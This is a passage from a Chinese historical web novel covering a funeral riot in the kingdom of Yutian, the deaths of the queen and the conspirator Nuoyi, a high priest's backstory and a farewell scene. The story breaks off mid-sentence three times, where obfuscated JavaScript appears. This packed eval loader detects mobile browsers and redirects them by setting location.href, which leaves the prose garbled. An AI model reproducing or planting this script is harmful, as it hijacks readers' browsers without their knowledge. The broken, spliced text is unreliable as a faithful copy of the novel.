最前面的百姓听闻,情绪立刻爆发,高喊:“这帮狗娘养的,杀了采女殉葬,还抢了我们的粮食,送给胡人那些狗强盗,你们看,狯胡人要对咱们下手啦,大家报仇啊!” 另一个方向也有声音传来,“杀了他们,放城外的大秦人进城,杀胡人。” 稍微理智的人也在喊:“不能开城门,咱们一起来求王求和的。” 更多的声音:“反正没活路了,要死大家一起死!” “放了我的女儿吧,我愿替她殉葬,呜呜呜……” 一声令下,狯胡射手放出成百上千支飞箭,应声飞向混乱的人群。 38. 大丧(五) “放!”主将一声令下。 狯胡的精兵骑射不是大漠上的土匪强盗可比拟的,年轻的狯胡士兵都是从马背上长大的,尤其擅长骑射,他们一出手便是铺天盖地的压迫感。 “救命啊……”人群恐慌。 当流星般的飞箭落地时,众人才发觉,那些根本没有箭头,射到百姓脚边的竟都是一袋袋粮食,虽然不多,但是仍然引起百姓哄抢。 “这,这是胡麻?”老人激动地打开小袋子,惊喜的是,这些不仅仅是粮食,原来还是种子。星夜来到玄盛身侧,低声说道:“玄郎君,这次手笔不小。” 玄盛不遑多让,“多谢狯胡王出手。” 星夜笑得有些老奸巨猾,“好说。汉人有句话叫‘礼尚往来’,本王冒着这么大风险任玄阁主调兵,不知这迁徙的好处还能再多点吗?” 玄盛淡淡看了他一眼,狯胡王马上知趣地闭上了嘴。 他这人就是得了便宜卖乖,狯胡这次走出草原,不仅壮大了兵马声势,还攀上了玄玉阁的交情,得了玄玉阁在阿克苏的土地作为迁徙之地,作为交换条件,狯胡大军撤离和田城,留下来的兵马,除了配合鞭笞演戏的,就是给玄玉阁用来“做好事的”。正如现在,狯胡射手空箭头射出的“慷慨之举”立刻引发了骚乱,成功减缓百姓人潮的汹涌。 片刻哄抢后,四面八方的人群再次包围过来。 所幸,狯胡的神箭手们给仪仗人群争取了撤退时间,有贵族喊:“扔下手中祭品,都退到地宫入口。”一批人暂时退缩到青石陵寝入口,有的贵族往深山中逃去,可惜山中道路崎岖,不久就退回到王陵入口。 王陵之中草木皆兵,连诺伊也不见了踪影。 一支利箭燃着橙色火焰直射天空,是稷发出信号。 三十六骑随之而动,袖口中发出短箭射向周围树林,有绳子崩裂的声音,一根根木桩从山中滚落下来,堵拦在几个上山的路径,让更多聚集而来的百姓被堵在半路。这是缓兵之计,山上的贵族们被惊吓四散,百姓们明显被人教唆而来,场面失控的话后果不堪设想。 狯胡王的射手也不手软,弯弓搭箭。这次的箭矢,可都是带箭头的。 一个女声怒道:“这些人是诺伊派来的,杀了他们。” 星夜看了眼王后的凤辇方向,充耳不闻气急败坏的阿依夏木发号施令,鼻子里轻哼了一声,对士兵动了动手指。身后的骑兵将瞄准头抬高了一寸,第一波射出,扎在最前排暴民的脚下。 奔跑的民众脚下一滞,后面的人便踩踏上他们滚作一团。“哎呦……”哀嚎一片。 狯胡王大喊:“听见公主的话了?若再不停下脚步,下次飞来的箭就要插在你们的胸口上。” 带头的壮汉是克拉汗的人,他奉命激怒百姓,说狯胡人抢了粮食,怕下一步就要屠城了。民众慌乱,这才随他上山,孤注一战,“咱们人多,他们不敢……” 可惜话还没说完,壮汉胸口就中了一箭。 壮汉看着坐在白骆驼上弯弓之人,瞪大眼睛倒了下去。白衣兜帽落下露出一张俊美的容颜,男人如同一柄绝世宝剑般坐于白骆驼之上,沉稳而隐含锋利,身旁一字排开三十六骑,护着于阗王室,铿锵有力地齐齐亮出兵刃,霸气外露。 稷命令道:“此人乃杀人要犯,煽动闹事者杀无赦。” 白发的稷一把将“玄”字旗定入身后高处三尺,然后从胸口掏出通缉画像,从中抽出一张丢向众人,正是刚才被射杀之人。涌上来的人群中几个人后退想要逃遁。然而,李暠并不给他们逃跑的机会。他抬手之间,三十六骑弩箭射出,收割了带头闹事之人的性命。 星夜赞道:“玄玉阁的玄羽衣,名不虚传。” 于阗人虽然没听说过什么玄羽衣,但是大部分人都曾跟玄玉阁打过交道,这个商号与王族有千丝万缕的关系,财力雄厚口碑好,托阿依夏木公主的福,整个于阗都知道玄郎君是个神仙一般的人物。原以为采玉祭后他不会以身涉险,没想到传说中的玄郎君竟还是出现在和田城,压住了蠢蠢欲动的各方势力。 “今日是舍都罗国主大葬,逝者为大,请诸位退去,玄玉阁自会为百姓讨个公道。” “我的女儿刚被抓去殉葬,我要去救她。”说话的是个妇人,显然还不知道采女已死的事实。 阿依夏木被层层保护,只觉得对这场混乱心生厌恶,所有的暴民都是诺伊安排的人,眼看大丧仪式被毁父王的灵魂无法得到安宁,耐心和同情心告罄,严厉地对涌上来的人群喊道:“人既然死了,孤给补偿就是……” 话没说完,阿依夏木就被阿祇拉入马车。 她这番解释没有缓解双方的矛盾,妇人听说女儿已死的消息,嚎啕大哭,“我的热拉图!” 更多人变得愤怒,“你的女儿没了,我是一家老小的粮食都没了!活不下去了。” 他们之所以聚集到青石王陵,原来昨夜有狯胡人打扮的士兵席卷了他们的村子,带走了他们的粮食,派来的官兵被狯胡蛮子打了,老百姓没了活路只好跟着人来讨说法。最初是谁带的头已经不说不清了,看到狯胡王情绪更加激愤起来。 这时,城东的方向有浓烟升起,那是和田城城门打开的信号。 星夜冷笑,“诺伊放了吕纂的人马入城。” 玄盛看向星夜,“你的大军呢?” “撤了七七八八,大帐里留了几个挨鞭子的,演戏给诺伊听个响。”好一个声东击西,星夜冷笑着朝于阗百姓看过去,仿佛在看一群傻子,“你们这些愚民被人利用了还不自知,是有人穿了我们狯胡勇士的衣服,你们就乖乖给了粮,现在反而来这里闹,自己打自己人,真是好笑。” 玄郎君在和田城一言九鼎,他的话更让人信服:“狯胡大军昨日已撤离和田城,晚上抢粮食的定然不是他们。” 众人面面相觑,有几个精明的也发现了异状。百姓中有人终于醒悟,“咱们好像……上当了。” 数千人聚集的地方,窃窃私语,“抢粮食的说的是胡语吗?” “好像不是……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿祇转头看星夜正盯着自己,在王后和阿依夏木的注视下,坚定摇头说:“不走。” 吃瓜者众多,此情此景绝不是说话的好时机。星夜料想她会拒绝并不生气,于是又多说了句:“现在不走,一会儿就走不了了。” 阿祇目光如炬地看了眼星夜,“多谢狯胡王,我刚说的是——不走。” 是不想跟你走……懂? 周围乱糟糟的乱民令人生厌,狯胡王在于阗经历退兵、免战、拿好处,一切已是最好的安排,除了眼前这点遗憾,不过他很快就看开了,“等你想走了,去阿克苏找本王。” 阿祇未作回答只行了个礼,全当感谢他的真诚相约。 星夜嘴角微翘,前面的喀龙朝他吹了声口哨,敢调情于阗王室,他大哥不鸣则已,一鸣惊人。阿依夏木和阿祇对喀龙的怨念如滔滔江水涌出,他们再不走怕是就走不成了。 星夜大笑着策马扬鞭,狯胡人的马蹄声,渐渐远去。 39. 大丧(六) 东方天空,一支燃烧着蓝色火焰的箭矢冲天而起。 “主子,郭谦的粮到了。”稷声音兴奋。 玄盛对愤怒的百姓道:“你们被抢走的粮食玄玉阁双倍赠送,诸位不妨回家看看,在大秦入城前说不定粮食已经送到了。” 征西军聚集东城门不过三十里,万一吕纂大军进了城,如果真有粮食,那真可能剩不下什么。想到这里已经有人开始往回跑,还有人悔恨,为什么刚送走虎豹,又迎来豺狼? 紧接着,又一支红色的火箭在王宫上空绽放。 稷道:“主子,宋繇和李谨营救顺利。” 李暠最后的心放了下来,他一直担心王宫里玄玉阁的人手不够,之前与沮渠蒙逊联手,虽然有大祭司和阿依夏木的背后势力,但诺伊一直想对北苑的人下杀手。保住了那些贵族的性命,才不会让邻国借题发挥,联合起来攻打于阗。 稷有些焦急道:“沮渠蒙逊那边没有消息,我们拿下了克拉汗,但让诺伊和死士跑了。” 如果有一天沮渠蒙逊成为敌人,那确实会是个厉害的对手, “没有了人质,恐怕诺伊控制不住。” “沮渠蒙逊能游走在权谋之中不可小觑,手中的底牌大概已经处理好了,不会影响大局。”李暠揉了揉眉心,麻烦的是诺伊,他隐隐有几分担忧,“王陵里如何了?” “我们的人混在抬棺人中随大祭司进入青石王陵,小林也在里面,恐怕时间不够了。” “一炷香,若再不出来就派人去接应。” 稷拱手道:“是。” “山之高者,虽有小隈,不以为深,我们已经做了所有能做的,只待天意。” 说完,玄盛陷入缄默。 他们有限的人手无法控制整个局面,三十六骑不能对无辜百姓下杀手,狯胡王的人马撤离了于阗,一切已尽人事,接下来就看大祭司对阿依夏木的忠诚,掌控了贵族统治阶层,他们才能真正掌握于阗国的命运走向。 话音刚落,从青石陵寝的方向飞出一支暗箭,然而,并不是玄玉阁的信号。 阿依夏木正立于凤辇之上,眼看着飞箭朝自己而来。 站在她身边的王后,不知哪里来的力量,本能地扑到阿依夏木身上以身挡箭。王后原本虚弱的身子瘫倒在地,阿依夏木这才反应过来,一把搂住她,大喊:“母后。” 她哭喊着被阿祇拖拽到马车后面,躲避纷沓而至的飞箭。 阿依夏木挣扎,“不,救救我母后。” 王后用尽了力量,用嘴形说:“快走。” 从王陵里传来惨叫声,不知道里面到底发生了什么,那些贵族拼命地往外跑,有些人被箭击中倒地,但逃出来的也不在少数。混乱中王后看了女儿一眼,终是撒手人寰。事态变化得太快,阿依夏木疯了一样跑出去抱住王后,一边往马车后拉扯,一边恸哭不止,“母后……你不要死。” 待贵族们都逃出地宫,诺伊才从青石陵寝走出,一批死士围在他身侧,用刀抵着大祭司的脖子,诺伊手持弓弩对准阿依夏木她们,高喊:“杀子之仇,不共戴天!吐尔逊,你在天上看到了吧?父亲要为你报仇了。” 他扣动弓弩扳机,飞箭射出,被另一根箭矢在空中阻挡。 李暠以迅雷不及掩耳之势射出弩箭,救下了阿依夏木。 他乘坐在白骆驼之上,如雪山之姿阻拦在诺伊和阿依夏木之间,白骆驼脚下如有风,踢出去的沙砾迷了死士们的眼,诺伊后退几步差点被风沙撞倒,“诺伊,够了。” 阿依夏木双目赤红,抢过一把刀就要去拼命,阿祇死死拉着她不让她冲动。阿依夏木眼圈泛红,哭道:“阿祇,他杀了我母后,诺伊杀了我父王母后!”阿祇摇头,阿依夏木怒吼,她发过誓要保护好母后的,可最后怎么会这样? 诺伊咯咯怪笑,“死的还不够!” 李暠神色肃穆,对视沉默冷眼的大祭司,贵族们一个个安然逃出来必然是他的计划,为公主收买人心,大祭司果然不负所托,李暠将弓弩对准诺伊,“我已送公主手书和军符给库马尔,他接管了于阗军权,诺伊,你已穷途末路。” 诺伊扯过大祭司,“那又何妨?有这么多仇人一起走黄泉路,老夫不亏。” 李暠道:“我并不在乎大祭司的死活。” 大祭司眼神一变,使出袖箭,射向封门石。 一声巨响,青石陵寝发生了塌陷。 瞬间巨变,碎石连着尘土飞扬,地宫入口处的诺伊和死士都被深深埋在了巨石下,圆拱形的封土堆像是被人从内部破坏,亦或者是天意,诺伊被一块巨石砸到胸口吐着血沫,下半身被王陵巨石压得粉碎。 诺伊没有死透,睁大灰色的瞳孔瞪着阿依夏木,“为什么,你不死?” 稷连看都没看那个半死不活的老头一眼,带人徒手挖着那些被掩埋的死士们,大喊:“小林!” 玄盛脸色阴沉,看向狼狈倒在地上面具脱落的大祭司,“我的人呢?” 大祭司拾起面具,盖在他苍白烙着印记的脸,似是很厌恶被人看到,道:“那个孩子说里面的机关被诺伊破坏了,必须有人撑着,不然那些人都得死。”他看向逃出来的众人,眼神亦有憎恨。 不满十五岁的小林机敏善于机关术,带个几个少年混入大丧的祭祀队伍里,他们负责连环计的最后一环——破坏王陵的阴谋。诺伊原本想将阿依夏木和王后在送棺时动手脚,与死士趁着混乱,随逃难贵族一同进入地宫后,小林已处理好了封石机关准备将计就计将他们关在里面,然而他没想到,地宫里多了那么多无辜的人,无论是贵族还是奴隶,于是小林改变了主意,拖延时间,最终没能出来。 眼前的惨状和悲惨的事实,让阿祇一阵心悸。 王后就像当初善爱一样,被箭矢射中,人已经没了气息。小林,她想起张稚气未脱的脸,尤记得小林在沙漠酷暑礼无数次为自己和努尔送衣食物品,捕捉信鹰,探讨车辕榫卯,画机关术图,小林有双灵巧的手,也有颗善良的心。 稷白发染了灰尘,没了风采,他举起一块石头,朝诺伊的头砸去,“我要你的命。” 诺伊满嘴血沫,终是再无法吐出一个字,嘴角咧出诡异的弧度,断了气。 结局在弹指一瞬间,王后死了,小林死了,诺伊也死了…… 天崩地裂的混乱,远处的雪山由于地陵的动静,山顶一片混沌,雪色弥漫。那是昆仑山脉的震怒,所幸距离遥远,没有引起更惨烈的后果。百姓们被吓得不轻,以为是天谴,纷纷跪拜。 魏晋南北朝的乱世,本来就是中国历史上最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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比起龟兹的落跑国王白纯和其他不战而降的君主,阿依夏木的勇气更显真诚,终究个人的路要靠自己,玄盛从征西军的军营陪她一路走到这里,接下来的于阗新朝,希望阿依夏木不负“玉之公主”美誉。 一夜凌乱,青石王陵留下了很多百姓自愿修葺坍塌的王陵。 于阗乃西域宝玉,自古这里的人们在依山傍水的塞外之地过着富饶安稳的生活,经此一难,他们对王室的忠心不改,阿祇以伽蓝公主的身份,陪着阿依夏木清理地宫,绚丽的琉璃墙碎了一地,陪葬的器皿凌乱不堪,还有那触目惊心的殉葬棺木,都被移出主墓室放入耳室,没有人留意那十一具棺木中,有一个是空棺。 阿依夏木亲自将王后的尸身与于阗王合葬,大祭司祝祷祭文。 大丧轰轰烈烈的举办,最后潦草结束。 曙光降临,黎明到来,也不知阿依夏木与阿祇相伴一夜,究竟聊了什么,女王在太阳升起的时候向众人连下三道王令。阿依夏木站在青石台上,对滞留在此的贵族与百姓们郑重下诏:“本王不惧死,然,不能置国家于毁灭,不能陷战士枉死,不能害百姓饿殍,先祖在天有灵,孤在此立誓扬于阗荣光,使子民安居乐业,愿放弃舍都罗王冠向大秦称臣,重建和田。” 一石激起千层浪,狯胡人走了,他们的女王降了吕光的征西军。 事实上,他们的女王是向玄郎君投了诚,李暠是大秦的使臣,以于阗利益为先,这么一想好像也没那么难以接受,反正玄玉阁支撑了和田玉的命脉江山,看似顺理成章的结果。 第二道王令:“殉葬采女全部记名于王室忠烈,家族免赋税十年,赏十金。” 第三道王令:“八月十五重办诺鲁孜节,今年贸易商队免税,采女自愿加入官采,去奴籍,全家免赋,享俸禄去留自便。”这番话信息量太大,于阗是玉石闻名的西域小国,如果新政为真那就是实实在在的利国利民。 40. 大祭司番外—我的名字 大祭司,皆出自于阗神族种姓——舍都罗。 没错,舍都罗也是王族姓氏,凡子弟被选成大祭司继任者,舍其名,断其欲,终身佩戴面具与人前,不得离开王宫半步,而我终成为第十一任大祭司,一个无名无欲的铜面人。 七岁那年,我与族中其他两个男孩被选入宫,自此成为无名无姓的小祭祀。 选我们三个人,最后只能有一个人活下来,其余两个在新任大祭司主祭祀之时,将与上一任大祭司一同殉葬祭祀天冢,以肉身侍天神。每一任大祭司满四七二十八岁,既是祭神之年,传说释伽牟尼降生时,朝东南西北四个方向各走了七步,每走一步,脚下就绽放一朵莲花,曰步步生莲,也就是说大祭司活不过二十八岁,就将与两个小祭祀一起殉神。 佛经说:欲知前世因,今生受者是;欲知来世果,今生作者是。 大祭司的神力代代相传,业力,善业、恶业、无记业随之相传,过去种种已然发生,接任大祭司就要承受上一世大祭司的因果,而新的大祭司所作所为,又会影响下一代的大祭司。 我心中隐隐不忿:我是我,凭什么承担别人的因果? 如果我不只是我,那我究竟是谁? “你是谁?”我十岁那年,终于有人这样问了我。 小时候,我们三个孩子住在这座大殿最阴暗的角落,作为舍都罗下一代大祭司的继任者,我们被大祭司封闭教养。阿达说,无论生死,被选上侍神都是让家族荣耀的事,可是我怕死,两个远房亲戚被选来的与我同龄的堂兄弟也怕死,但没人敢违抗天命。 大祭司带着冷冰冰的面具,他说神殿里不需要凡俗烦扰,我们更要忘记前尘往事,一心侍神,按个子的大小我们小祭祀有了祀号,“勿贪、勿嗔、勿痴”。 我就是那个“勿痴”。 勿贪,个子最高,但他既不贪吃、不贪睡,也不贪玩,他是我们三人中最有章法并沉默寡欲的小孩。勿嗔,总偷偷带着我去厨房里偷吃,美味的烤羊肉,甜辣的羊奶酒,每次偷吃到好吃的,又怕被大祭司发现,我和勿嗔就跑到园子里,勿嗔的鬼主意多,揪几片留兰香放在嘴里嚼,偶尔被大祭司发现,我们就会被关在不同的小黑屋里,惩戒一日,可是下一次勿嗔还是会带着我跑出去玩。 然而,勿嗔这次没有被放出来,他病了,像被关在笼子里的小鸟,抬不起头,双目呆滞。 我偷偷跑到他床前问他怎么才能好起来,他不说话,也没反应,我去找勿贪帮忙,勿贪说勿嗔会好起来的,只是需要时间。我等了好些日子,勿嗔还是一个样子,躺在床上不言不语。 我决定一个人去厨房,偷点他最喜欢的奶皮酥。勿贪说,有了勿嗔喜爱的东西,也许就能唤醒他,午后他会拖住大祭司,让我偷跑出去。 我第一次独自跑出神殿,遛到王宫小厨房,没想到在我找酥糕的时候,厨房来了一位浑身挂满绿松石的贵女,她吼道:“你是谁?” “我是谁?” 我愣了,七岁以前我是夏哈普,现在我是勿痴。 绿松石贵女长得小小的,跑过来浑身叮当响,她好像好奇我的呆笨,身边的侍女见我不回话,上前揪起我的衣领就要打,“古丽,不许打小孩,这个王宫都没有小孩陪我玩,我要他陪我。” 她小手指着我,对我说:“你是谁?没名字吗?” 我摇头,不知为什么,我不想被人叫勿痴,却不能再做夏哈普。贵女打量着我,很认真地说:“小猫小狗都有名字,你若不愿意告诉我,以后我怎么记住你?” 我的名字…… 我没有来得及多想,就朝神殿的方向跑走,绿松石贵女在后面追我,边跑边喊:“喂,你不要跑,我叫阿依夏木。” 王宫里只有一位公主,就叫阿依夏木。 我没有理她,一口气回到神殿。 大祭司正在门口等着我,我很怕,我们三个人是不准出神殿的,不知道大祭司为什么出现在这里将我抓个正着,等我靠近他大袖一挥,戒尺已经打下来,整整八十一下抽打,我咬着牙不喊疼,眼泪却哗哗地落,直到神殿外有人喊:“你为什么打小孩子?” 公主追到了神殿,被侍从拉住。 “你们放开我。”阿依夏木发脾气挣扎,指着戴面具的大祭司,“我命令你,放开他。” 大祭司冷眼冷面,拎着我入了神殿,朝小黑屋走去,阿依夏木小小的人,终究被关在了门外。 一个雨夜,勿嗔的灵魂终于去侍奉了天神,这是大祭司的说法,我知道,他死了。既然侍神这么神圣,这么高尚,大祭司为什么不去侍神? 那夜,我被大祭司关了三天三夜,他还告诉了一个秘密,勿嗔的死与勿贪有关,但我没有与勿贪对峙,因为我知道那正是大祭司想见到的。没有勿嗔,我被更加繁重严苛的祭祀课程,以及无尽的黑暗和疼痛,反复折磨,有时候我甚至能理解勿嗔为什么再不愿醒来,他选了一条不归路。 寒来暑往,我十六岁了,离大祭司祭祀侍神还有最后三年。 一个石头丢进来,砸到我的头上,“喂……” 我抬头张望,墙头冒出个头,正是熟悉的阿依夏木,她刚满十五岁,整个王宫传来欢声笑语,外面正在庆祝公主的成人祭祀,大祭司正在神殿准备赐福礼。 “阿达西,过来……”墙头上的小手正朝自己挥舞。 自从六年前认识阿依夏木,她就称呼我为阿达西(朋友),我也没出过神殿的门。大祭司不在的时候,她会跑过来找我玩,勿贪比我风趣,有时候我们三个一起玩捉迷藏,阿依夏木就让勿贪做“鬼”找我们两个,阿依夏木拉着我藏进小黑屋,她见我吓得颤抖就知道这不是个好地方,于是,晚上派人一把火把小黑屋烧了个干净。 在这片废墟里,有我与勿嗔的友谊,也有我与阿依夏木的欢乐。 “阿达西,你还在发呆。” 她又扔下一块石头,砸在我的额头我一点不生气,跑过去墙角,“你怎么来了?今天是你的典礼。” “嗯,刚才大祭司的祭祀仪式好长,我膝盖跪得都麻了,趁更衣的时候偷跑出来玩一会儿。”她满头珠宝,笑容灿烂。 阿依夏木笑得灿烂,我也跟着她一起笑。 “你没看到刚才来了好多人,送了我无数珍奇异宝,可我觉得无聊透顶,后来我见到一个人,你知道吗?他是我见过的最俊美、最温柔的中原男人,快看,这是他送我的珍珠玉簪花。” 阿依夏木低头,我看到一支洁白如玉的花蕊镶嵌在珍珠翡翠之中,插在她的发冠上,甚是娇美夺目,“好看吗?听说这是中原工匠的手艺,那边女子十五岁都要带这个,玄郎君说什么十有五年而笄……我记不清文邹邹的汉文,但我太喜欢了这根发笄了就戴过来给你看看,阿达西,我现在好快乐!” 阿依夏木,因快乐而更加美丽,而我的心却空空的,因为我的光,照向了别的雪山,我的仰望,飘向了遥不可及的远方。 “阿达西,你怎么不说话?你不喜欢吗?” “喜欢。” “啊……你们小心点。” 阿依夏木脚下踩着的侍从肩膀不稳,她摇晃了几下,墙外有声音催促:“对,对不起公主,祭祀还没结束,再不走王后会担心的。” “知道了,啰嗦。” 阿依夏木朝我挥手道别:“阿达西,等你做了大祭司,千万不要念这么冗长的祭文,我跪得好辛苦,我先走了……改天再来找你玩。” 她挥挥手,墙头上可爱的笑脸就不见了。 我的世界又变成了灰白一片,不再期待未来。我忙于侍神的事功,熟阅典籍,修身养性,大祭司问我和贪谁愿意出宫外派,我主动接受了神的召唤,接受苦行面具,祈福布施,看诊治病,牲畜祭生,最苦最累的活儿我都愿意去做。 勿贪,留在了王宫神殿,与大祭司兼顾王族内政与王宫内务,几乎被内定下任大祭司人选。 出宫历练的第一年,我被派往最穷苦的地方。 那是连水都喝不上的戈壁,我曾经在舍利塔里悟道过一个月。有一天遇上了一个匈奴少年,他好奇我为什么带着半张面具,像个乞丐一样躲在舍利塔里等死。我起初不想理他,因为我很渴很渴,多说一句话,我都可能死得更快,那个少年看出了我的窘境,二话不说给我灌了半袋水,然后水囊扔在一边。 “别谢,那是你自己的水袋。” 我被他呛了几口水,“我,不是想死,我在悟道。” 匈奴少年大笑,“悟什么道,都是骗人的东西。” 他的话简直离经叛道,我擦了擦嘴角的水渍,一身肮脏,却觉得心灵清净无比,“佛当千劫后,方成无价珠。我连悟道的苦都吃不了,岂能窥探灵知之妙?” 少年俯视我,好像在看无可救药的傻子,他说:“三个月后我还会途径此地,若你不吃不喝,还能活着悟出个什么道,我就愿听听。” 三个月后,他如约而至,而我已离开了舍利塔。 不吃不喝,我悟出的道就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906750|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争抢和毁灭。 我们的再次相遇是一年后的采玉祭,我不能踏上祭台,只能在岸边的角落带着百姓跪拜祈福。 匈奴少年随着一个商队而来,他一眼认出了我那半张面具,趁庆典人多的时候凑在我身边,小声道:“你改变主意了?” 我也认出了他,但依然没有理他。 采女祭祀仪式开始,大祭司登台,这样庄严正式的场合,上到贵宾,下到百姓,无不祈求神的保佑,虔诚地低下头,包括我,即便大祭司侍神的诚意无比虚伪。面具掩藏了我的鄙夷之情,余光中,我发现那个匈奴少年抬着头,脸上的神情竟与面具下的我一模一样,原来我们是一类人。 呵,如果下次还能遇见,我想作他的阿达西。 这个机会很快就来了。 神殿传出祭文,勿贪以身侍神,勿嗔以智养神,勿痴将与大祭司共同主持祭神大礼,暨传承仪式。没错,在众人以为勿贪将继承大祭司一职时,他死了。 我被召唤回神殿,准备祭神大礼。 以礼法,大祭司不得连任,二十七岁寿终正寝侍神。除非三位传承人主动献祭侍神,大祭司才能再留任七年,七年,修的又一个轮回,度新的有缘之侍。 前六年,度红尘六道,最后一年,是悟道。 我何尝不是最后悟了道,然,道不同。大祭司的道,是无限的轮回。我的道,则是破除因果,毁灭欲望。所谓前缘,即是当下,所有当下,亦是未来。 我要做不为侍神,专为破道的大祭司。 祭神大礼前夜,有黑衣人暗闯王宫,那人被侍卫追杀进了神殿,我恰好遇到了他。再次相遇的机会来得很快,我终于知晓了他的身份,“你是卢水胡的少主,为什么要来大漠?” 我们被困在神殿,外人不敢擅闯,席地而坐等待时机,他回答:“高山仰止,景行行止。” 我听得似懂非懂。 “你即将成为于阗大祭司,当初为什么也去大漠?”他的眼神犀利,就好像当初那个强迫给我灌水的少年。 “因为没有高山仰止,没有景行行止。” 他又问:“现在有了?” 我默默地说了声:“有。” 他像突然想起了什么,从身上摸索出一个小瓶子,解释:“卢水胡的部落生长着一种木莨菪,味苦有毒,与洋金花同食可产生幻觉,重则狂躁无解,疯狂致死。这里面是莨菪根混合洋金花的香袋,对了,还有解药。” “你潜入宫,是为此而来?” “送给你,为了我们的高山和景行。” 我拒收,“不,我用不上。” 匈奴少年笑了,“傻子,你会用得上的。” 命运弄人,祭神大礼上大祭司与小侍神同饮圣水,跳祭神舞,一炷香不到双双抽搐倒地,大祭司狂躁得无法停止舞蹈,我倒在祭台之上渐渐失神。 于阗王舍都罗惊恐万分,以为天神降罪,两任大祭司遭天谴,命在旦夕。关键时刻,阿依夏木说天神托梦,若有异象,可将香灰兑水服用,这当然是无稽之谈,我不过是提前服了解药。 香灰兑水,一人一碗分别给大祭司和小侍神喂下。 半晌后,我奇迹般地睁开了眼睛,而大祭司却毫无动静,当摘下大祭司的面具,苍白面容带着诡异的微笑,双目圆睁,早已死去。 “大祭司被神召唤了……” 众人大骇,我心中冷笑什么被神召唤,只是一包药罢了。随后,王宫传出神秘的诅咒,和田城恐大难将至。 三日后,于阗王亲自为我刺上神族图腾,戴上鎏金宽目青铜面具,披上灰色侍神长袍,加冕大祭司。至此,曾经的夏哈普,终于站到于阗神殿的顶端,与阿依夏木立于于阗王的两侧,接受百官朝拜。 时过境迁,我看着我的公主长大,也看着于阗王室的隐患与衰败。 内忧外患,战乱四起,曾经赠与木莨菪的少年,给了我一个更加疯狂的计划。 螳螂捕蝉,为何不做黄雀呢? 诺伊不死,阿依夏木的王位不稳,我用神迹让舍都罗王相信,降吕光,国必亡,逼王与诺伊对立,决裂。而后,诺伊引狯胡人入局,最好与诺伊斗得两败俱伤,让玄玉阁成为制衡的棋子,我只要做好执棋之人,阿依夏木就能稳坐女王之位。 有了阿达西沮渠蒙逊的协助,我们终于成功了。 在成为新大祭祀后,我没有再选小侍神。我将侍奉女王,让她不再受任何掣肘,包括我在内,作于阗史上最后一任大祭司。 41. 别离于阗 阿依夏木自青石王陵登基,于阗女王的第一道圣令便是向中原大秦称臣,和田城中大乱,吕纂带兵入城,她必须立刻回宫主持大局,阿依夏木女王亲自将印有玉玺的文牒交给李暠,稷快马亲传文牒于吕纂,女王王驾先一步众贵族启程。 李暠与祖慕祇并肩而立,向阿依夏木辞别。 玄盛风华无双,恭敬道:“女王陛下,日后若有所需,玄玉阁必竭尽全力。” 阿依夏木欲言又止,一夕失去亲人的打击,加上肩头突如其来的责任,让阿依夏木瞬间没了任性的资格,最后只能得体地对眼前之人免礼。 摆出女王的端庄高贵,“多谢玄郎君。” 当初在吕纂的大营里,说好的合作便是有前提的,李暠以玄玉阁的名义,帮她夺回王位稳定朝纲,而他要的回报,则是玄玉阁的利益,一切与私情无关。 阿依夏木的眼神,来到李暠身边之人身上。 站在他身旁的阿祇,上前几步握住她的手,“阿依夏木,照顾好自己,王后的事……节哀。” 在马车上互换身份时,王后就让二人以姊妹相称,经历了许多波折后,阿依夏木含着泪,流露几分不舍,阿依夏木最后问她:“你真的不和我回宫吗?我把我的蓝毗尼送你,好不好?” 阿祇摇了摇头:“谢谢你,你我缘法,即便日后相隔千里,情份亦在。” 不远处,戴着面具的大祭司默默守望这边,她不知道沮渠蒙逊与这位真正大祭司背后的交易,如今似乎了然他的守望,甚至庆幸在阿依夏木身边,还有一个不离不弃的人。 “勇于承担责任,阿依夏木,我对你十分敬佩。” 阿依夏木简直不敢相信阿祇对她的赞美,别扭地说:“我以为你是故意在我母后面前才这么说。” 阿祇给了她一个拥抱,道:“阿依夏木,我敬重你父王愿为国而战的决心,更敬重你为民称臣的担当,我看了你在文牒上林立的十条合约,以王室降权之名,换来百姓通关贸易自由,大秦附属国的权宜安稳,削除奴隶,让他们自食其力。” 阿依夏木语塞,她小心地看了眼李暠,这觉得这人着实冷静,明明于阗的福利是他教自己的,这人运筹帷幄却甘于幕后。 回想起来,阿依夏木这辈子做过最正确的决定,除了交了阿达西这个朋友兼盟友,就是结识李暠和阿祇,虽然最终李暠没有成为自己的王夫,却在拂云殿大火国破家亡之际,帮于阗度过危难。遇见阿祇,则是天神予她的恩赐,没了爱情无所谓,她收获了亲情和友情,保住了国家。 阿祇刮了她的鼻子,“哭什么,都是女王了。” “我才没哭……”阿依夏木发誓,这是她最后一次的流泪。 擦干眼泪,她很有气势地说:“母后说,等我有朝一日登基女王,可以残暴,但不可以软弱。” 阿祇眼皮跳了一下,叹了口气:“你就没记住王后别的什么嘱咐?” 阿依夏木嘴一撇,说:“母后还说,你的心愿不在于阗,我也记得你说过,做个使臣比公主好,所以你要走很多路,看很多书……肯定需要很多钱。” 阿祇眼皮又抽了一下,点头说:“有道理。” 两人一起扑哧笑出声,阿祇握着她的手,头靠近阿依夏木小声说:“只要你一直是个不错的女王,你阿秭我就有会好日子。” “外面混不下去了,记得回来求我。” 阿祇看她那一副趾高气昂,几番回忆愈加珍贵,接过沉重的包袱,她有几分激动:“谢谢你的礼物,不会都是金银吧。” 